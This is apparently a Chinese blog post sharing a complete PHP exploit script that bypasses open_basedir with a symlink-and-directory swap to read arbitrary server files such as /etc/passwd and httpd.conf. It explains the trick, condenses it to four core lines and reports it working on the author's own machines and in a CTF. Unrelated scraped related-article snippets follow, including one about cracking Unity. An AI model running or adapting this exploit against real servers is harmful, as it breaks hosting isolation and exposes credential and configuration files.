php5全版本绕过open_basedir读文件脚本

这是前段时间写的代码了(http://www.weibo.com/1074745063/ByAPqj7s0),最近一直忙着和几个同学一起做非安全类的创业项目。所以也没拿到JAE、SAE测试一下。

不说了。。进入正题。

漏洞很久之前(大概5年前)被提出来了,但并不是php代码上的问题,所以问题一直存在,直到现在。我一直没留意,后来yaseng告诉我的,他测试了好像5.5都可以。

他在评论里发过了:http://zone.wooyun.org/content/17131,漏洞详情在这里http://cxsecurity.com/issue/WLB-2009110068

给出我写的EXP:

<?php
header(‘content-type: text/plain‘);
error_reporting(-1);
ini_set(‘display_errors‘, TRUE);
printf("open_basedir: %s\nphp_version: %s\n", ini_get(‘open_basedir‘), phpversion());
printf("disable_functions: %s\n", ini_get(‘disable_functions‘));
$file = str_replace(‘\\‘, ‘/‘, isset($_REQUEST[‘file‘]) ? $_REQUEST[‘file‘] : ‘/etc/passwd‘);
$relat_file = getRelativePath(__FILE__, $file);
$paths = explode(‘/‘, $file);
$name = mt_rand() % 999;
$exp = getRandStr();
mkdir($name);
chdir($name);
for($i = 1 ; $i < count($paths) - 1 ; $i++){
  mkdir($paths[$i]);
  chdir($paths[$i]);
}
mkdir($paths[$i]);
for ($i -= 1; $i > 0; $i--) {
  chdir(‘..‘);
}
$paths = explode(‘/‘, $relat_file);
$j = 0;
for ($i = 0; $paths[$i] == ‘..‘; $i++) {
  mkdir($name);
  chdir($name);
  $j++;
}
for ($i = 0; $i <= $j; $i++) {
  chdir(‘..‘);
}
$tmp = array_fill(0, $j + 1, $name);
symlink(implode(‘/‘, $tmp), ‘tmplink‘);
$tmp = array_fill(0, $j, ‘..‘);
symlink(‘tmplink/‘ . implode(‘/‘, $tmp) . $file, $exp);
unlink(‘tmplink‘);
mkdir(‘tmplink‘);
delfile($name);
$exp = dirname($_SERVER[‘SCRIPT_NAME‘]) . "/{$exp}";
$exp = "http://{$_SERVER[‘SERVER_NAME‘]}{$exp}";
echo "\n-----------------content---------------\n\n";
echo file_get_contents($exp);
delfile(‘tmplink‘);

function getRelativePath($from, $to) {
  // some compatibility fixes for Windows paths
  $from = rtrim($from, ‘\/‘) . ‘/‘;
  $from = str_replace(‘\\‘, ‘/‘, $from);
  $to   = str_replace(‘\\‘, ‘/‘, $to);

  $from   = explode(‘/‘, $from);
  $to     = explode(‘/‘, $to);
  $relPath  = $to;

  foreach($from as $depth => $dir) {
    // find first non-matching dir
    if($dir === $to[$depth]) {
      // ignore this directory
      array_shift($relPath);
    } else {
      // get number of remaining dirs to $from
      $remaining = count($from) - $depth;
      if($remaining > 1) {
        // add traversals up to first matching dir
        $padLength = (count($relPath) + $remaining - 1) * -1;
        $relPath = array_pad($relPath, $padLength, ‘..‘);
        break;
      } else {
        $relPath[0] = ‘./‘ . $relPath[0];
      }
    }
  }
  return implode(‘/‘, $relPath);
}

function delfile($deldir){
  if (@is_file($deldir)) {
    @chmod($deldir,0777);
    return @unlink($deldir);
  }else if(@is_dir($deldir)){
    if(($mydir = @opendir($deldir)) == NULL) return false;
    while(false !== ($file = @readdir($mydir)))
    {
      $name = File_Str($deldir.‘/‘.$file);
      if(($file!=‘.‘) && ($file!=‘..‘)){delfile($name);}
    }
    @closedir($mydir);
    @chmod($deldir,0777);
    return @rmdir($deldir) ? true : false;
  }
}

function File_Str($string)
{
  return str_replace(‘//‘,‘/‘,str_replace(‘\\‘,‘/‘,$string));
}

function getRandStr($length = 6) {
  $chars = ‘abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789‘;
  $randStr = ‘‘;
  for ($i = 0; $i < $length; $i++) {
    $randStr .= substr($chars, mt_rand(0, strlen($chars) - 1), 1);
  }
  return $randStr;
}

如我们欲读取/etc/passwd。其实原理就是创建一个链接文件x,用相对路径指向a/a/a/a,再创建一个链接文件exp指向x/../.. /../etc/passwd。其实指向的就是a/a/a/a/../../../etc/passwd,其实就是./etc/passwd。这时候删除 x,再创建一个x目录,但exp还是指向x/../../../etc/passwd,所以就成功跨到/etc/passwd了。
精华就是这四句:

symlink("abc/abc/abc/abc","tmplink");
symlink("tmplink/../../../etc/passwd", "exploit");
unlink("tmplink");
mkdir("tmplink");

我们访问http://xxx/exp,如果服务器支持链接文件的访问,那么就能读到/etc/passwd。
其中并没有任何操作触发open_basedir,但达到的效果就是绕过了open_basedir读取任意文件。错误不在php,但又不知道把错误归结到谁头上,所以php一直未管这个问题。

我在我的VPS(php5.3.28 + nginx)和树莓派(php 5.4.4 + nginx)上都测试过,成功读取。

树莓派测试:

相比于5.3 XML那个洞(那个很多文件读不了),这个成功率还是比较稳的,很多文件都能读。而且版本没要求,危害比较大。
前几天成信的CTF,试了下这个脚本,apache也可以读取,当时读了读kali机子的/etc/httpd/conf/httpd.conf,没啥收获。发现没旁站,流量是通过网关转发的。

L战队几个棍子都很给力,希望他们继续666,我继续围观。

http://zone.wooyun.org/content/17168

时间: 2024-10-29 19:07:05

php5全版本绕过open_basedir读文件脚本的相关文章

[转] Bash脚本:怎样一行行地读文件(最好和最坏的方法)

用bash脚本读文件的方法有很多.请看第一部分,我使用了while循环及其后的管道命令(|)(cat $FILE | while read line; do … ),并在循环当中递增 i 的值,最后,我得到了非我所想的 i .主要的原因是,管道命令会发起子shell来读取文件,而任何在(子shell的)while循环中的操作(例如 i ++),都会随着子shell的结束而丢失. 而第二种,也是最坏的一种,其最明显的错误就是在读文件的过程中使用了for循环(for fileline in $(ca

php绕过open_basedir设置

原理关于open_basedir    open_basedir是php.ini中的一个配置选项    它可将用户访问文件的活动范围限制在指定的区域,    假设open_basedir=/home/wwwroot/home/web1/:/tmp/,那么通过web1访问服务器的用户就无法获取服务器上除了/home/wwwroot/home/web1/和/tmp/这两个目录以外的文件.    注意用open_basedir指定的限制实际上是前缀,而不是目录名.    举例来说: 若"open_ba

unity4.x for mac破解(含Unity全版本破解)

声明,破解方式及工具,均来源于国外互联网.仅供交流学习使用! 国外一个大仙做的破解.这位大侠实在是牛,全版本跟进,win和mac的破解包都有.win下有类似于注册机的Patch,mac下有crack.win和mac下,本人都经过了测试,全部通过.比较费劲的是,需要注册才能下载,而且需要翻墙.我也是花费了一下午,才下载并测试出来. 下面以Unity4.2.0f4 为例. 所有版本破解文件资源: http://game.ceeger.com/forum/read.php?tid=11478 Mac

Python基础学习:svn导出差异文件脚本

由于是刚接触python不久,所以很多都不是很熟练,只能是用到什么查点什么.所以如果有什么bug或者不严谨的语法或其他,希望各位看客指正. 鉴于公司的平台研发部门需求想直接把svn中的差异代码导出并打包自动上传到指定的服务器上,然后在从指定的服务器上进行一个发布更新.由于我们开发和发布服务器的环境很特殊,中间牵扯到很多网络代理.所以才这么麻烦. 要求如下: 1.自动导出指定版本之间的差异文件 2.根据给定的选项过滤出指定的文件夹以及文件:例如给定选项 a ,那就导出的文件中只保留admin的内容

Android最佳实践之SystemBar状态栏全版本适配方案

前言 自从MD设计规范出来后,关于系统状态栏的适配越受到关注,因为MD在5.0以后把系统状态栏的颜色改为可由开发者配置的,而在5.0之前则无法指定状态栏的颜色,所以这篇就说说使用Toolbar对系统状态栏的适配策略 主流App的适配效果 手Q在这方面适配非常好,将标题栏和状态栏合为一起了,和iOS效果一模一样,如下: 4.4.5.0+ 4.4以下版本 4.4以下版本则是系统默认的黑色状态栏,因为4.4以下没办法对状态栏进行改变和配置. 关于手Q的适配,对4.4以上所有版本都保留着一致的UI效果,

centos php 5.3升级到 php5.4版本

php5.3听说有bug,因此单独升级php5.3相关的版本到5.4 具体步骤: 下面是我之前的版本 之前php版本是: [[email protected] ~]# rpm -qa |grep php* php-5.3.3-46.el6_6.i686 php-pear-1.9.4-4.el6.noarch php-odbc-5.3.3-46.el6_6.i686 php-xml-5.3.3-46.el6_6.i686 php-cli-5.3.3-46.el6_6.i686 php-pdo-5.

Samba 4.x.x全版本存在命令执行漏洞

Samba 4.0.0到4.1.10版本的nmbd(the NetBIOS name services daemon)被发现存在远程命令执行漏洞.CVE编号为CVE-2014-3560.目前官方已经发布最新的补丁. 下面是官方公布的漏洞概要: =========================================================== == Subject:     Remote code execution in nmbd == == CVE ID#:     CVE

转载——怎样一行一行读文件

原文地址: 用bash脚本读文件的方法有很多.请看第一部分,我使用了while循环及其后的管道命令(|)(cat $FILE | while read line; do … ),并在循环当中递增 i 的值,最后,我得到了非我所想的 i .主要的原因是,管道命令会发起子shell来读取文件,而任何在(子shell的)while循环中的操作(例如 i ++),都会随着子shell的结束而丢失. 而第二种,也是最坏的一种,其最明显的错误就是在读文件的过程中使用了for循环(for fileline i

LoadRunner性能测试-上传文件脚本

LR上传文件脚本详解 脚本 char *fr(char *filename){ longupfile ;    //定义文件句柄 intcount ;      //定于文件长度 intnFileLen;    //定义文件长度 char*buffer; upfile= fopen(filename,"rb"); //以只读方式打开二进制文件,将upfile指向该文件 fseek(upfile,0,2);          //将文件指针移动到文件尾 nFileLen= ftell(u